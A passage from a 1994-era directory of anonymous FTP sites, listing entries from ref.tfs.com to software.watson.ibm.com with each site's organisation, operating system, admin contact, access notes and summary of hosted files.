1.1.5.1, EISA PC) +URL : ftp://ref.tfs.com/ +Comment: please do not bother our security department by trying to hack + this machine, they are a very grim bunch, lacking any sense + of humour, whatsoever [I like this.. much better than some of those + government sites ;-) ]; transfers are logged +Files : FreeBSD; GNU; RFCs; XFree86 (mirror of ftp.xfree86.org under + consideration) + +Site : reports.adm.cs.cmu.edu +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburg, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://reports.adm.cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged in +Files : cmt; robotics + +Site : resdgs1.er.usgs.gov +Country: USA +GMT : +Date : 17-Feb-94 +Source : pkane@c30.ncel.navy.mil (Pat Kane) +Alias : +Admin : +Organ : U.S. Geographical Survey (USGS), Lakewood County +Server : +System : Unix (DG/UX) +URL : ftp://resdgs1.er.usgs.gov/ +Comment: user ftp: working directory set to /var/ftp +Files : arid; btest; DEM (Digital Elevation Model) files; patches; Shades + +Site : research.att.com +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : afc-faq-1; old ftp-list +Alias : inet.att.com +Admin : +Organ : AT&T +Server : +System : Unix +URL : ftp://research.att.com/ +Comment: Why Pascal is not my favorite programming language: + netlib/research/cstr/100.Z +Files : f2c; ft_cnet; gcc; Ghostscript; netlib; tds; TeX + +Site : research.cs.unp.ac.za +Country: South Africa +GMT : 0 +Date : 15-Dec-94 +Source : scm@silver.wcap.school.za (Stephen Marquard) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix (Linux, PC) +URL : ftp://research.cs.unp.ac.za/ +Comment: +Files : GNU; Slackware; UUPLAN + +Site : rever.nmsu.edu +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : ren-and-stimpy FAQ +Alias : acca.nmsu.edu [?] +Admin : acca@acca.nmsu.edu +Organ : New Mexico State University, , New Mexico, ACCA +Server : gopher +System : Unix +URL : ftp://rever.nmsu.edu/ +Comment: max. 25 users +Files : adnd; AWOL; hyf; Macfaq; matthew-sweet; Ren And Stimpy; ren-faire; + tori; virtual cities + +Site : rexx.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 19-Apr-94 +Source : fjw@train.fido.de {posting} +Alias : csg.uwaterloo.ca +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://rexx.uwaterloo.ca/ +Comment: +Files : ADV; ARexx; C; docs; editors (The Hessling Editor (THE)); FreeRexx; + gemini; Maple; OS/2; Rexx FAQ; trg; utils + +Site : reze-2.rz.rwth-aachen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : +Admin : +Organ : RWTH Aachen, Aachen, RechenZentrum (CC) +Server : +System : Novell NetWare 3.11 (PC fileserver) +URL : ftp://reze-2.rz.rwth-aachen.de/ +Comment: working directory set to /VOL1 +Files : CP/M; Mac; misc; MS-DOS; PC-Blue; TeX; Unix-C + +Site : rhino.cis.vutbr.cz +Country: Czech Republic +GMT : +1 +Date : 19-Apr-94 +Source : +Alias : +Admin : ftp-adm@cis.vutbr.cz +Organ : Technical University of Brno, Brno, Computing and Information + Systems Center (CIS) +Server : mailserv@cis.vutbr.cz (send a message with "help" (no quotes)) +System : Unix +URL : ftp://rhino.cis.vutbr.cz/ +Comment: uploads to /incoming: auto-delete after 30 days; 00README describes + dirs and subdirs per directory +Files : docs; insoft-l; lists (mailing list archives); ro; software [which?] + +Site : rhino.microsoft.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : ftpadmin@microsoft.com +Organ : Microsoft Corp. +Server : +System : MS-Windows NT (PC) +URL : ftp://rhino.microsoft.com/ +Comment: +Files : prune; TCP/IP; Winsock; wsat; wsatold + +Site : ridgisd.er.usgs.gov +Country: USA +GMT : +Date : 17-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : U.S. Geographical Survey (USGS), Lakewood County +Server : +System : Unix (DG/UX) +URL : ftp://ridgisd.er.usgs.gov/ +Comment: +Files : some loose files in /pub: avad; DEM; gils; Posix; some graphics + related files and nettools + +Site : rincewind.mech.virgina.edu +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : pratchett-faq +Alias : +Admin : ftp@rincewind.mech.virginia.edu +Organ : University of Virginia, , Virginia, Mechanical & Aerospace + Engineering +Server : www, gopher, wais +System : Unix +URL : ftp://rincewind.mech.virgina.edu/ +Comment: one of the official Terry Pratchett archives + (mirrors ftp.cp.tn.tudelft.nl); also through Gopher and the WWW +Files : NeXT; Pratchett; recipes (wais-sources); sci.physics.research + +Site : rinfo.urz.tu-dresden.de +Country: Germany +GMT : +1 +Date : 10-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Dresden (Dresden Institute of Technology), + Dresden, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://rinfo.urz.tu-dresden.de/ +Comment: +Files : doc; fractals; FTAM networking; ftp-list (general and .de); GNU; + graphic; ham-radio; Linux; network; neuron; programming; security; + Sun; TeX; X11 + +Site : ringer.cs.utsa.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : University of ? - ?, ?, ?, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ringer.cs.utsa.edu/ +Comment: +Files : boppana; combustion; concurrency; crayprogs; gokhman; icon; rosen; + setting up Anonymous FTP on Sun; SigCSE92; Slackware (Linux) + +Site : risc.ua.edu +Country: USA +GMT : -6 +Date : 16-Jul-94 +Source : Virus-L/comp.virus; old ftp-list +Alias : risc; +Admin : jford@ua1vm.ua.edu (J. Ford) +Organ : University of Alabama, Tuscaloosa, Alabama +Server : +System : Unix +URL : ftp://risc.ua.edu/ +Comment: also available through gopher +Files : IBM Anti-viral files; Pegasus Mail; Novell related files; misc + MS-DOS TCP/IP files; a games-solution (text only) directory + +Site : risc6000.dibe.unige.it +Country: Italy +GMT : +1 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : University of Genoa, Genoa +Server : +System : Unix (IBM RS6000) +URL : ftp://risc6000.dibe.unige.it/ +Comment: +Files : MBP v1.1 + +Site : rml2.sri.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : SRI International +Server : +System : VAX/VMS running Multinet +URL : ftp://rml2.sri.com/ +Comment: default directory: DUA2:[ANONYMOUS] +Files : VMS; GNU awk + +Site : robotics.eecs.berkeley.edu +Country: USA +GMT : -8 +Date : 27-Oct-94 +Source : emiris@cs.berkeley.edu +Alias : +Admin : holm@robotics.eecs.berkeley.edu +Organ : University of California - Berkeley, Berkeley, California, + EE & CS Dept +Server : +System : Unix +URL : ftp://robotics.eecs.berkeley.edu/ +Comment: transfers are logged +Files : ACRobot; computational geometry and algebra: software, docs and + publications; ConvexHull; Fingerlike; MixedVolume; multimedia; + Robot assembly, control, grasping, motion; RobotPrimitives; + SparseResultant; vision + +Site : roche.csl.sri.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : csl.sri.com info; Perry.Rovers@kub.nl +Alias : +Admin : +Organ : SRI International +Server : +System : Unix (SunOS 4.1) +URL : ftp://roche.csl.sri.com/ +Comment: most files from csl.sri.com have moved here +Files : + +Site : rogue.llnl.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : VAX/VMS running Multinet +URL : ftp://rogue.llnl.gov/ +Comment: default directory: TOOLS:[FAL$SERVER] +Files : DECnet security tools; VMS Postscript + +Site : roope.hut.fi +Country: Finland +GMT : +2 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : +URL : ftp://roope.hut.fi/ +Comment: Problem: I/O error on network device +Files : dash; mosix; treads + +Site : rs.internic.net +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : admin@internic.net, info@internic.net +Organ : Internet NIC - Registration Archive +Server : +System : +URL : ftp://rs.internic.net/ +Comment: Open 24 hours; send 'guest' as password is also possible instead + of your e-mailaddress +Files : InterNIC info; root domain zone files; registration policies and + templates + +Site : rsa.com +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : old ftp-list +Alias : chirality.rsa.com +Admin : +Organ : RSA +Server : +System : Unix (SunOS 4.1) +URL : ftp://rsa.com/ +Comment: +Files : clipper; FAQs; pucs; RFCs + +Site : rtd.com +Country: USA +GMT : -7 +Date : 29-Sep-94 +Source : lippard@ccit.arizona.edu (James J. Lippard) {posting} +Alias : seagull.rtd.com +Admin : support@rtd.com +Organ : RTD Systems & Networking Inc. +Server : gopher, www to come +System : Unix +URL : ftp://rtd.com/ +Comment: max. 5 users +Files : articles; BSDI; cc-agreement; citadel; DOS; Dell; GIFs; hardware; + humor; InterMOO; livingston; MLBB; MUD; pangen; PGP; rawn; sex; + Skeptic zine; slip; TCP/IP; uta; zines + +Site : rtfm.mit.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : bloom-picayune.mit.edu, pit-manager.mit.edu, pit.mit.edu, + sipb.mit.edu +Admin : ftp-bugs@rtfm.mit.edu, rtfm-maintainers@mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + SIPB +Server : mail-server@rtfm.mit.edu, send a message with 'help' (no quotes) + in the body for instructions (also the usenet-addresses server) +System : Unix (DECstation 500/25, 24 Mb RAM) +URL : ftp://rtfm.mit.edu/ +Comment: Primary periodical postings archive site; I removed the + charon.mit.edu alias which is obsolete; Note that this machine is + severely overloaded and you should try local mirrors as shown in the + intro, e.g. ftp.cs.ruu.nl /pub/NEWS.ANSWERS, if ftp.win.tue.nl is + still listed as a mirror it's obsolete; max. 50 users +Files : ccvc; cdmm; com_err; compression apps; diswww; farb; FAQs: + faq-maintainers list archive, main news.answers archive, posting + software; firearms discussion (RKBA articles); gozilla; humor; + net; pcm; popmail; seyon; srz; stories (Alice's PDP-10, Mel and the + drum memory); TeX; Usenet archives; Usenet/Internet documents; + voting; Whois; Wipe; X11; xscreensaver; Z80 (druid) + +Site : rulcde.leidenuniv.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Rijks Universiteit Leiden (University of Leiden), Leiden +Server : +System : Unix (Ultrix 4.1) +URL : ftp://rulcde.leidenuniv.nl/ +Comment: +Files : archiving; Linux; Pratchett + +Site : rulglj.leidenuniv.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : NLroei list +Alias : +Admin : dirk@rulglj.leidenuniv.nl (Dirk Huckriede) +Organ : Rijks Universiteit Leiden (University of Leiden), Leiden, CONFAN + Group Corlaeus Laboratories +Server : +System : Unix +URL : ftp://rulglj.leidenuniv.nl/ +Comment: all activities will be logged +Files : alsenoy; NLroei list archives; rowing + +Site : rutgers.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : rutgers.rutgers.edu +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://rutgers.edu/ +Comment: +Files : comp.sources.sun; CAP (Columbia Appletalk Package) + +Site : s.u-tokyo.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : old ftp-list +Alias : utsun.s.u-tokyo.ac.jp +Admin : +Organ : University of Tokyo, Tokyo +Server : +System : Unix +URL : ftp://s.u-tokyo.ac.jp/ +Comment: +Files : DEC Alpha; docs; fj; ftpsync; GNU; Japanese/Kanji software; kcl; + languages; Mac (mirror of sumex-aim.stanford.edu); misc; net; + netinfo; PC; tcode; Tron; TeX; Unix; VMS; X; X11R5 + +Site : s27w007.pswfs.gov +Country: USA +GMT : +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://s27w007.pswfs.gov/ +Comment: +Files : ACEDB; Data; Datatables; Gendist; Gendist+; GNU; IFGBAS; IFGHOM; + IFGLOB; IFGQTL; Images; PGD; PORTRAIT; RANGEMAP; some space related + images; TREE; TreeGenes; Telecom; Unixhelp; X11R5 + +Site : s2k-ftp.cs.berkeley.edu +Country: USA +GMT : -8 +Date : 17-Jul-94 +Source : old ftp-list +Alias : epoch.cs.berkeley.edu +Admin : claire@postgres.berkeley.edu (Claire Mosher), + aoki@postgres.berkeley.edu (Paul M. Aoki) +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://s2k-ftp.cs.berkeley.edu/ +Comment: successor of postgres.berkeley.edu for non-tech reports; + NOTICE: appears to be the same one as tr-ftp.cs.berkeley.edu, but + I'll keep on listing them separately because of info in the welcome + message (the machines might change); Epoch file system, there might + be delays when files are copied in from optical disks; also + available through the WWW +Files : Ingres (University Ingres DataBaseManagementSystem); multimedia + (MPEG software and lots of MPEG movies); Picasso (GUI development + system); Postgres (Postgres DBMS); RCS; scan (incoming scanned + tech-reports); Sequoia 2000 (Global Change Project); teaching (CS + lecture notes); tech-reports (outgoing CS tech-reports); WWW + +Site : s3.com +Country: USA +GMT : -8 +Date : 26-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : S3 Inc. [not sure... definitely not sure] +Server : +System : Unix +URL : ftp://s3.com/ +Comment: [weird site.. just a README about olvwm (OpenLook Virtual Window + Manager). It says there should be files, but none present.. may be + under construction or restricted access.. but anonymous works] +Files : + +Site : saffron.inset.com +Country: USA +GMT : +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : INSET +Server : +System : +URL : ftp://saffron.inset.com/ +Comment: Problem: I/O error on network device +Files : SB; sounds + +Site : sail.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : gang-of-four.stanford.edu +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://sail.stanford.edu/ +Comment: +Files : Schemer + +Site : sal.cvm.msu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : fokkink@fenk.wau.nl (Remco Fokkink) +Alias : +Admin : +Organ : Michigan State University, Lansing, Michigan +Server : +System : Unix +URL : ftp://sal.cvm.msu.edu/ +Comment: Problem: can't set guest privileges +Files : music + +Site : satftp.soest.hawaii.edu +Country: USA +GMT : -10 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl {posting} +Alias : mael.soest.hawaii.edu +Admin : +Organ : University of Hawaii, Honolulu, Hawaii, Satellite Oceanography + Laboratory +Server : WWW: satftp.soest.hawaii.edu +System : Unix +URL : ftp://satftp.soest.hawaii.edu/ +Comment: +Files : avhrr; catalogs; docs; earth images; gms; ocean; papers; seawife; + shuttle radar; spectacular; tiwe2; tools + +Site : sauna.hut.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : sauna.cs.hut.fi, cs.hut.fi +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : Unix +URL : ftp://sauna.hut.fi/ +Comment: please enter valid e-mail address as password; We are watching you. + Pirates will be shot +Files : Unix; Athena docs; some FTP dirs from the USA; Elm; NNTP; news + +Site : sauqoit.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 19-Apr-94 +Source : +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland +Server : +System : Unix +URL : ftp://sauqoit.gsfc.nasa.gov/ +Comment: +Files : AVHRR; blackhills; socket; strips; taskalloc + +Site : saw-whet.hosp.med.umich.edu +Country: USA +GMT : -6 +Date : 26-Jul-94 +Source : gmangum@umich.edu (Gene Mangum) +Alias : sawhet.hosp.med.umich.edu +Admin : +Organ : University of Michigan, Detroit, Michigan, Medical Center +Server : +System : Unix +URL : ftp://saw-whet.hosp.med.umich.edu/ +Comment: +Files : ftpnuz + +Site : sbcs.sunysb.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : State University of New York - Stoney Brook, Stoney Brook, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://sbcs.sunysb.edu/ +Comment: +Files : 386BSD; CONCUR92; Combinatorica; complab; EN; hilog; ICLP93; Linux; + lsml; NSF workshop; OSP; SBProlog; Sun raster tools; tech-reports; + volvis; xoldt; XSB + +Site : sc.tamu.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Texas A&M University, , Texas +Server : +System : Unix +URL : ftp://sc.tamu.edu/ +Comment: TAMU Linux & security archives moved to net.tamu.edu +Files : cray; free_unix; GNU; MSU; patfitz [pathfix?]; security [old]; Sun + +Site : science.hr +Country: Croatia +GMT : +1 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : znahost +Admin : +Organ : Ministarstva Znanosti, Tehnologije i Informatike Republike Hrvastke + (Ministry of Science, Technology and Informatics of the Republic of + Croatia) +Server : +System : Unix +URL : ftp://science.hr/ +Comment: the purpose is to offer data, information, news and publications as + well as some tools necessary for the communications within the + scientific community +Files : eng; hrv + +Site : science.utah.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : csc-sun.math.utah.edu +Admin : +Organ : University of Utah, Salt Lake City, Utah +Server : +System : +URL : ftp://science.utah.edu/ +Comment: +Files : TeX things; Hershey (tenex); VMS programs + +Site : scilibx.ucsc.edu +Country: USA +GMT : -8 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : University of California - Santa Cruz, Santa Cruz, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://scilibx.ucsc.edu/ +Comment: probably also available through gopher +Files : CA legal info; webmail + +Site : scitsc.wlv.ac.uk +Country: UK +GMT : 0 +Date : 14-Feb-94 +Source : jphb@scitsc.wlv.ac.uk (Peter Burden) +Alias : +Admin : jphb@scitsc.wlv.ac.uk (Peter Burden) +Organ : University of Wolverhampton, Wolverhampton, School of Computing and + Information Technology +Server : no e-mail server available +System : Unix (SunOS 4.1.3, SUN SPARCserver 10) +URL : ftp://scitsc.wlv.ac.uk/ +Comment: for normal CS student use: anonymous ftp has a low priority +Files : C programming course; ham-radio (no executables); Network info + (incl. ftp-list); pictures (censored); RFCs + +Site : scott.cogsci.ed.ac.uk +Country: UK +GMT : 0 +Date : 19-Apr-94 +Source : ftp.ed.ac.uk +Alias : +Admin : help@cogsci.ed.ac.uk +Organ : University of Edinburgh, Edinburgh, Scotland, + Cognitive Sciences dept. +Server : +System : Unix +URL : ftp://scott.cogsci.ed.ac.uk/ +Comment: +Files : adger; ai2scheme; alpha; awb; cavedon; docs; elsnet; et; fracas; + ginzburg; graphics; HCRC papers; htl htk; Mac; maptask; phonology; + SISTA; statling; tagger; time-constraints; tvtwm; vogel; xerion; + xxyx; yeats + +Site : scslwide.sony.co.jp +Country: Japan +GMT : +9 +Date : 19-Apr-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Sony Corp. +Server : +System : Unix +URL : ftp://scslwide.sony.co.jp/ +Comment: +Files : 386BSD; AtTools; CG; CSl; FJ-manager; GNU; ispell; kinput2; Mach386; + MS-DOS; Mach3.0; mirrors: ibis.cs.umass.edu; Nepoch; Nepoch-ml; + network; NeXT; OS; polyworld; RFCs; SGI; THInKS; Tool; X11R5; + xkernel + +Site : scss3.cl.msu.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : news@dorite.use.com (News Admin) {posting} +Admin : +Organ : Michigan State University, Lansing, Michigan +Server : +System : Unix +URL : ftp://scss3.cl.msu.edu/ +Comment: +Files : bignum; crypt; frame; MSU; PC (80xxx, archiver, chess88, dietdisk, + fasta386, newsreaders, virus, windows (ftpsoftware, PC TCP, Win32, + Winsock, WinVN); standards; Sun4 + +Site : seabass.st.usm.edu +Country: USA +GMT : -6 +Date : 29-Sep-94 +Source : +Alias : +Admin : +Organ : University of Southern Mississippi, Hattiesburg, Mississippi +Server : +System : Unix (Linux, PC) +URL : ftp://seabass.st.usm.edu/ +Comment: read README for details on files +Files : BBS; css; diag (diagramming language); Eagle's BBS; ELAS (remote + sensing software); FAQs; Glenda (environment for parallel + programming using PVM); Linux; tars + +Site : self.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : otis.stanford.edu +Admin : ftp-bugs@self.stanford.edu +Organ : Stanford University, Menlo Park, California, SELF +Server : +System : Unix +URL : ftp://self.stanford.edu/ +Comment: +Files : SELF language docs + +Site : sepftp.stanford.edu +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : old ftp-list +Alias : etna.stanford.edu,hanauma.stanford.edu +Admin : martin@sep.stanford.edu, joe@montebello.soest.hawaii.edu + technical: mihai@sep.stanford.edu, dimitri@sep.stanford.edu +Organ : Stanford University, Menlo Park, California, Stanford Exploration + Project +Server : +System : Unix +URL : ftp://sepftp.stanford.edu/ +Comment: hanauma is now aliased to sepftp, use sepftp.stanford.edu now; + files of interests to Earth Scientists +Files : astronomy; CLOP; Cerveny-92; Dmo3D; ERUUG; Earth_Images; + Earth_Topography; geology; lowercrust; SCCM240; SEGTeX; sep-dist; + SPP; Worldmap; X; Xtpanel + +Site : seq.uncwil.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : spell@seq.uncwil.edu +Organ : +Server : +System : Unix +URL : ftp://seq.uncwil.edu/ +Comment: limit of 10 users; the maintainer is slow moving things + around; this site will probably close down: Due to network + costs we are unable to provide anonymous ftp; HP48 archives + have moved to ftp.wustl.edu, directory: /systems/hp/hp48 +Files : archives; hp calculator related stuff (mirrored in + ftp.wustl.edu in directory systems/hp48sx, all + EduCalc programs have already moved there) + +Site : setosa.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://setosa.uwaterloo.ca/ +Comment: +Files : dganglin; Quail + +Site : sgi.com +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : sgi.sgi.com, ftp.sgi.com +Admin : postmaster@sgi.sgi.com, postmaster@sgi.com +Organ : Silicon Graphics +Server : +System : Unix (Irix) +URL : ftp://sgi.com/ +Comment: for Silicon Graphics info call (415-960-1980); disclaimer applies +Files : comp.sys.mips; comp.sys.sgi/info-iris mailinglist; FAQ; ftp2job; + Flexfax software + sources; IRIS; OpenGL graphics programs, source + from Paul Haeberli; sage; various sources including ttcp, whois + and fax; WinFSP; xtp + +Site : sgigate.sgi.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi.com +Alias : +Admin : postmaster@sgigate.sgi.com +Organ : Silicon Graphics +Server : +System : Unix (Irix) +URL : ftp://sgigate.sgi.com/ +Comment: for Silicon Graphics info call (415-960-1980); disclaimer applies +Files : archie-aux; aub; audio; devprogram; dwarf; expo; Inventor; + intercolor; IRIS stuff; Mosaic; net-services; OpenGL; Performer; + releases; SciTeX; security; support; Surf; Usergroups + +Site : shape.mps.ohio-state.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : math.ohio-state.edu, math.mps.ohio-state.edu +Admin : alden@math.ohio-state.edu +Organ : Ohio State University, , Ohio +Server : +System : Unix +URL : ftp://shape.mps.ohio-state.edu/ +Comment: Open 24 hours; server can (de)compress, g(un)zip; max. 20 users +Files : NNTPlink + +Site : shark.mel.dit.csiro.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : root@shark.mel.dit.csiro.au +Organ : Commonwealth Scientific & Industrial Research Organization, Sydney +Server : +System : Unix +URL : ftp://shark.mel.dit.csiro.au/ +Comment: max. 40 users +Files : ISODE; PP; recipes; Telebit Trailblazer setup + +Site : shop-pdp.kent.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : shoppa@altair.krl.caltech.edu (Tim Shoppa) {posting} +Alias : +Admin : +Organ : Kent State University, , Ohio +Server : +System : TSX (TSX 6.4, LSI-11/73) +URL : ftp://shop-pdp.kent.edu/ +Comment: 2Mb memory, 155Mb harddisk partitioned as 5 DU type drives and a + floating point coprocessor; anonymous directories are physical + devices du3: and du4:, the directories are accessed using + 'cd du3:' and 'cd du4:'; the subdirectories are the files with the + extension .dsk, they may be accessed by using 'cd /subdir'; default + directory: du3:; the command 'remotehelp' will provide additional + information about the file structure and a list of the accessible + directories +Files : PDP related files + +Site : shrimp.cs.washington.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington, CS dept. +Server : +System : +URL : ftp://shrimp.cs.washington.edu/ +Comment: +Files : + +Site : sics.se +Country: Sweden +GMT : +1 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : SICS +Server : gopher +System : Unix +URL : ftp://sics.se/ +Comment: max. 12 users; special access features see /README +Files : acclaim; andorra; articles; CONCUR94; europar95; gcla; GNU; + Info-mac mirror (sumex-aim.stanford.edu); Internet Talk Radio; + interviews; ISIS C++; isode; jsad; kerberos; ling-lab; Mac; Magnus; + MAKE.MONEY.FAST; Matsc; mice; mixtus; mn; MS-Windows NT; muse; + NeXT; nlp; p4; pi; PEPM paper; PGP; Phone-talk; Poskanzer bitmaps + (runs whois server); sgn; siren; slt; spims-dist; spin; st-2; stava; + Sun; teliatider; tpwb; VR; WWW; X; Z + +Site : sierra.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix +URL : ftp://sierra.stanford.edu/ +Comment: +Files : + +Site : siggraph.org +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : +Alias : +Admin : info_mgr@siggraph.org +Organ : ACM Siggraph +Server : +System : Unix +URL : ftp://siggraph.org/ +Comment: Open 24 hours; info on SIGGRAPH/Multimedia conferences; server can + compress files +Files : conferences; gen_info; publications; utilities + +Site : sioux.stanford.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix +URL : ftp://sioux.stanford.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : sjf-lwp.sjf.novell.com +Country: USA +GMT : +Date : 10-Sep-94 +Source : scott@ncharles.demon.co.uk (Scott Hammett) {posting} +Alias : sjf-lwp.novell.com +Admin : +Organ : Novell +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://sjf-lwp.sjf.novell.com/ +Comment: default directory: /sys/ftpguest +Files : BS94; Buyers Guide; dataclub; dev docs; DR-DOS: LAN Workplace for + DOS, Mac, OS/2; netman; NW 3.11; NW IP; NW NFS; NW shell; ODI; RFCs; + share_w; virusaid; Unixware + +Site : skippy.umiacs.umd.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : Unix (Ultrix 4.1) +URL : ftp://skippy.umiacs.umd.edu/ +Comment: +Files : Sun-nets archive + +Site : slc2.ins.cwru.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Case Western Reserve University, Cleveland, Ohio +Server : +System : Unix (SunOS 4.1) +URL : ftp://slc2.ins.cwru.edu/ +Comment: +Files : bash + +Site : slopoke.mlb.semi.harris.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harris Corp. - Semiconductor Division +Server : +System : +URL : ftp://slopoke.mlb.semi.harris.com/ +Comment: directory: pub/irc +Files : IRC clients and servers; religion + +Site : sluaxa.slu.edu +Country: USA +GMT : +Date : 30-Oct-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix (OSF/1) +URL : ftp://sluaxa.slu.edu/ +Comment: user public directories +Files : eguide (massat); interlaw, networkshop (millesjg); WinIRC, + WSIRC (jhonny) + +Site : smaug.cs.hope.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (System V Release 4.0) +URL : ftp://smaug.cs.hope.edu/ +Comment: +Files : + +Site : snake.utah.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : snake.cs.utah.edu +Admin : +Organ : University of Utah, Salt Lake City, Utah, CS dept. +Server : +System : Unix +URL : ftp://snake.utah.edu/ +Comment: +Files : skill/snice + +Site : soaf1.ssa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : old ftp-list +Alias : +Admin : tkevans@ssa.gov (Tim Evans) +Organ : U.S. Social Security Administration +Server : info@ssa.gov; 'send index' in body of e-mail message +System : Unix +URL : ftp://soaf1.ssa.gov/ +Comment: Limited link - generally avaiable 0700-1800 Weekdays +Files : SSA materials & stats (read README and access.txt for access info) + +Site : softlib.cs.rice.edu +Country: USA +GMT : -6 +Date : 23-May-94 +Source : +Alias : bellona.cs.rice.edu +Admin : +Organ : Rice University, Houston, Texas, CS dept. +Server : +System : Unix +URL : ftp://softlib.cs.rice.edu/ +Comment: +Files : CRPC-TRs; down_n_out; events; fastlink; Fortran-M; HPF; info; irg; + Kennedy; miplib; NonEuclid; pcn; pds; renewal; softlib_docs; spib; + tsplib; utilities + +Site : software.watson.ibm.com +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : OS/2 FAQ as posted to news.answers +Alias : +Admin : nrt@watson.ibm.com (Nick Trio, for *server* problems only) +Organ : IBM, Hawthorne, New York, T.J. Watson Research Center +Server : +System : Unix +URL : ftp://software.watson.ibm.com/ +Comment: mirrored on several sites including 